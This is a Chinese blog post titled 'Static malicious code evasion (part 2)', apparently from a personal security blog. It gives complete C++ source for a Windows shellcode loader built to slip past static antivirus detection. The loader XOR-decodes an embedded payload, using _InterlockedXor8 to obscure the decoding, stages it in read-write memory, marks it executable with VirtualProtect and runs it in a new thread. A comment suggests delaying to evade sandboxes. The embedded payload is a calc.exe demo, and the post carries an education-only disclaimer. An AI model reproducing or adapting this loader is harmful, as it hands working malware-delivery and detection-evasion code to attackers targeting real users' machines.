静态恶意代码逃逸(二)

0x01 关于内存申请的优化

​ 在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。

VirtualProtect 是一个Windows函数,用于修改内存页的保护属性。它允许程序员在运行时更改内存页的访问权限,例如将可执行的内存页标记为只读,或将只读内存页标记为可写。

函数原型如下:

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

参数说明:

  • lpAddress:指向要修改保护属性的内存页的起始地址。

  • dwSize:要修改的内存页的大小,以字节为单位。

  • flNewProtect
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87

    :新的保护属性,可以是以下值之一:

    - `PAGE_EXECUTE`:可执行和可读。
    - `PAGE_EXECUTE_READ`:可执行、可读和不能写。
    - `PAGE_EXECUTE_READWRITE`:可执行、可读和可写。
    - `PAGE_EXECUTE_WRITECOPY`:可执行、可读和写入时复制。
    - `PAGE_NOACCESS`:无法访问。
    - `PAGE_READONLY`:只读。
    - `PAGE_READWRITE`:可读和可写。
    - `PAGE_WRITECOPY`:写入时复制。

    - `lpflOldProtect`:用于存储修改前的保护属性的变量的指针。

    函数返回值为 `BOOL` 类型,如果函数调用成功,则返回非零值;如果函数调用失败,则返回零。可以使用 `GetLastError` 函数获取更多有关错误信息的详细信息。

    ```c++
    #include <Windows.h>

    unsigned char buf[] =
    "\xf6\xe2\x88\x0a\x0a\x0a\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a"
    "\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5"
    "\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xf8\x58"
    "\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\x0b\xdb"
    "\x5b\x81\x53\x2a\x0b\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81"
    "\x0b\xdc\x3b\xf5\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfc\x09"
    "\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\x0b\xd9\x6c\x81"
    "\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e"
    "\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1"
    "\x87\x57\x60\x0b\x87\x8f\xb8\x0a\x0a\x0a\x5a\x62\x3b\x81\x65"
    "\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf"
    "\x36\x0c\x76\x00\x8a\xf1\xea\x7f\x0f\xb1\x4d\x19\x78\x65\x60"
    "\x0a\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\x0a";

    // 入口函数
    int main(int argc, char* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
    /* length: 800 bytes */

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
    buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
    NULL, // 基址
    800, // 大小
    MEM_COMMIT, // 内存页状态
    PAGE_EXECUTE_READWRITE // 可读可写可执行
    );
    */

    char* shellcode = (char*)VirtualAlloc(
    NULL,
    shellcode_size,
    MEM_COMMIT,
    PAGE_READWRITE // 只申请可读可写
    );

    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    // 等待几秒,兴许可以跳过某些沙盒呢?

    hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 栈的大小
    (LPTHREAD_START_ROUTINE)shellcode, // 函数
    NULL, // 参数
    NULL, // 线程标志
    &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
    }

0x02 InterlockedXorRelease函数

我在学习《Windows核心编程》的过程中,发现InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。

1
2
3
4
char _InterlockedXor8(
char volatile *Destination,
char Value
);

参数说明:

  • Destination:指向要执行异或操作的变量的指针。这个参数应该是一个 volatile char 类型的指针,表示一个 8 位有符号整数变量。
  • Value:要与 Destination 变量进行异或操作的值。
1
2
3
4
for (int i = 0; i < shellcode_size; i++) {
//buf[i] ^= 10;
_InterlockedXor8(buf + i, 10); //bu按位xor
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <Windows.h>


char buf[] =
"\xf6\xe2\x88\x0a\x0a\x0a\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a"
"\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5"
"\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xf8\x58"
"\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\x0b\xdb"
"\x5b\x81\x53\x2a\x0b\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81"
"\x0b\xdc\x3b\xf5\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfc\x09"
"\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\x0b\xd9\x6c\x81"
"\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e"
"\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1"
"\x87\x57\x60\x0b\x87\x8f\xb8\x0a\x0a\x0a\x5a\x62\x3b\x81\x65"
"\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf"
"\x36\x0c\x76\x00\x8a\xf1\xea\x7f\x0f\xb1\x4d\x19\x78\x65\x60"
"\x0a\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\x0a";

// 入口函数
int main(int argc, char* argv[]) {

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
//buf[i] ^= 10;
_InterlockedXor8(buf + i, 10);
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);


// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

参考

https://rvn0xsy.github.io

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


静态恶意代码逃逸(二)
https://unam4.github.io/2024/06/04/静态恶意代码逃逸-二/
作者
unam4
发布于
2024年6月4日
许可协议